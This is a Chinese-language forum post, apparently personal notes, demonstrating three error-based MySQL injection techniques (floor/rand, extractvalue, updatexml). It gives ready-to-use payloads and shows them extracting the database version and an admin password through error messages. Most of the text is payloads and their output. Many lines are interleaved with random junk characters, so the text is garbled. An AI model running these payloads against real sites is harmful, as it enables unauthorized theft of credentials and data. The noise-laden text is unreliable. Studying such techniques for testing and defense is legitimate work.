关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
, c' r( k5 s( ?4 g/ b9 s实际测试环境：
! P6 N: B+ T& b​
- n( Q6 Q- x8 v/ k% P- ]
mysql> show tables;
+ r+ U5 t  s9 O) j- }3 B+----------------+
| Tables_in_test |
+----------------+
+ ~6 O6 ], o# U$ n; M| admin          |
| article        |
+----------------+



mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
0 Z6 q6 B' `) H6 C| Field | Type             | Null | Key | Default | Extra          |
" {& I) o& c. x# @+-------+------------------+------+-----+---------+----------------+
# _7 {6 }% a6 H5 r# R" f' ~| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
6 H# L; C  p4 b5 s$ o  X| user  | varchar(50)      | NO   |     | NULL    |                |
( Z* p, G% ?6 W+ [0 \| pass  | varchar(50)      | NO   |     | NULL    |                |
, _8 n$ U' F6 R9 G# F9 t' r$ J/ Q+-------+------------------+------+-----+---------+----------------+
! w4 ~% x# n; B& H% ~1 Z

" t3 j0 O5 U; Z( Z
% m2 }+ k, i( ?, @0 j7 f' n9 p" qmysql> describe article;
( I* T3 u0 H2 ?! l2 L' O( ?+---------+------------------+------+-----+---------+----------------+
  ?5 E, G5 v3 J: ^0 S1 `5 Y* @| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
; D; K1 ^0 V" t8 u  l| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
6 q$ |3 ]; b* @' g3 M1、通过floor报错
可以通过如下一些利用代码

5 p1 W$ ~. L% Q2 T% O( B6 P) c
! C( q( i- U! _2 O& Kand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
3 p  [6 z- X+ ~9 J; R* @4 I$ tfrom information_schema.tables group by x)a);

: Y" G5 x! }/ U$ F2 @# c8 d0 @0 d
8 T9 R2 N7 ?8 u) ^4 P7 h' band (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
" ~$ V1 [1 q$ X9 p; C举例如下：
首先进行正常查询：

; I" v1 i" x. `, \, Amysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
( S; y$ Y1 [; D5 ?: s+ Y+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


) K9 C+ ?- q  n9 j/ V) Mmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
* n4 h/ s+ z: j9 y7 W! z例如我们需要查询管理员用户名和密码：
Method1:
: _2 ]% Z) ^& f( E: |9 U

, b* h0 ]- K+ d5 f7 x% k; Vmysql> select * from article where id = 1 and (select 1 from
# l/ g1 J/ I- `- s6 T4 h3 }- D1 I2 D(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
" w. W5 V3 u; ?from information_schema.tables group by x)a);
0 y" H7 f8 z+ Z/ f- w2 uERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
" j+ Q4 I5 f, Q* ?5 ^% C( C
# y* k0 W' ^: B+ M. V$ }
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
* j8 q0 H  N( ~. gfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
' ]1 {8 i% z# c( q6 A$ M测试语句如下
2 G3 E0 \6 ?) a0 P; {! J* h" G
- S1 J+ {8 T3 N+ }' D  o
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
; t4 F9 y. \& _! `' L7 X实际测试过程

. p: Q* S0 O( P# V
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
  h7 Q# [1 F. a. g3 j$ H- \" pERROR 1105 (HY000): XPATH syntax error: '\admin888'
; Q  r& p/ \' `7 T/ K% Q& z3 G3、UpdateXml
/ K0 ~0 y! Y5 @- Q. k- \( m测试语句
5 ?  ~/ G/ i1 h* N! A* U  H
4 Y& T0 v) M, f- z( k, }
3 R1 Y# }$ W& B& w1 O. u; R  Cand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
4 ]8 E4 P! F- U0 @- A" A7 t

, k) ]$ V# m2 A0 emysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​
6 b# R; G! T4 o! ^4 I- ^